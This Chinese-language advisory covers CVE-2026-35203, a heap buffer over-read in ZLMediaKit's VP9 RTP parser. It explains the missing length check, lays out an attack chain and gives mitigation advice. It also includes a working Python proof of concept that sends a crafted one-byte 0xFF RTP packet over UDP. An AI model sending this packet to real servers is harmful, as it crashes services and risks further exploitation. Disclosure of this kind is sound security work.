IPBUF安全漏洞报告
English
CVE-2026-35203 CVSS 7.5 高危

CVE-2026-35203 ZLMediaKit堆缓冲区溢出漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35203
漏洞类型
堆缓冲区溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ZLMediaKit

相关标签

堆缓冲区溢出ZLMediaKitRTPVP9DoSCVE-2026-35203

漏洞概述

ZLMediaKit流媒体服务框架中的VP9 RTP载荷解析器存在堆缓冲区溢出漏洞。由于解析器在依据首字节标志位读取多个字段时,未验证缓冲区中是否存在足够的数据,攻击者可发送特制的VP9 RTP数据包(如单字节0xFF载荷),导致越界读取,进而引发服务拒绝或潜在的代码执行风险。

技术细节

该漏洞位于ZLMediaKit项目的`ext-codec/VP9Rtp.cpp`文件,具体存在于VP9 RTP载荷解析逻辑中。根据VP9 RTP格式规范,首字节的多个标志位用于指示后续载荷中是否包含Picture ID、Layer indices等扩展字段。然而,漏洞代码在解析时直接依据这些标志位从缓冲区读取数据,并未预先校验缓冲区剩余长度是否满足读取需求。攻击者可构造一个特制的RTP数据包,例如将首字节设为0xFF(所有标志位置1),但载荷总长度仅为1字节。当解析器处理此包时,会尝试读取后续不存在的字段数据,导致堆缓冲区溢出(Heap-buffer-overflow)。该漏洞主要导致服务拒绝,但在复杂内存布局下可能存在进一步利用风险。

攻击链分析

STEP 1
侦察
攻击者识别互联网上暴露的ZLMediaKit流媒体服务器及其RTP端口。
STEP 2
武器化
攻击者构造特制的VP9 RTP数据包,将载荷首字节设为0xFF,但不提供后续所需的扩展字段数据。
STEP 3
投递
攻击者通过UDP协议将恶意数据包发送至目标服务器的RTP接收端口。
STEP 4
利用
ZLMediaKit的VP9解析器读取0xFF标志位后,尝试从缓冲区读取不存在的数据,导致堆缓冲区越界读取。
STEP 5
影响
触发服务进程崩溃(DoS),或在特定内存条件下导致信息泄露或代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # Construct a malicious VP9 RTP packet # RTP Header (12 bytes) + Payload (1 byte: 0xFF) # V=2, P=0, X=0, CC=0, M=0, PT=96 (Dynamic), Seq=1, TS=0, SSRC=1 def create_malicious_packet(): rtp_header = struct.pack('!BBHII', 0x80, # Version 2, No padding, No extension, No CSRC 96, # Payload Type (Dynamic) 1, # Sequence Number 0, # Timestamp 1 # SSRC ) # Malicious Payload: 0xFF sets all flags, indicating many fields follow, # but no data is provided, causing buffer over-read. payload = b'\xFF' return rtp_header + payload def send_exploit(target_ip, target_port): packet = create_malicious_packet() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: print(f"Sending malicious packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) except Exception as e: print(f"Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 10000 send_exploit(TARGET_IP, TARGET_PORT)

影响范围

ZLMediaKit (Commit 435dcbcbbf700fd63b2ca9eac6cef3b5ea75169d之前)

防御指南

临时缓解措施
建议立即检查ZLMediaKit版本并应用官方补丁。若无法立即升级,应限制对RTP端口的网络访问,仅允许可信的IP地址连接,并密切监控服务器日志中是否存在因段错误导致的崩溃记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表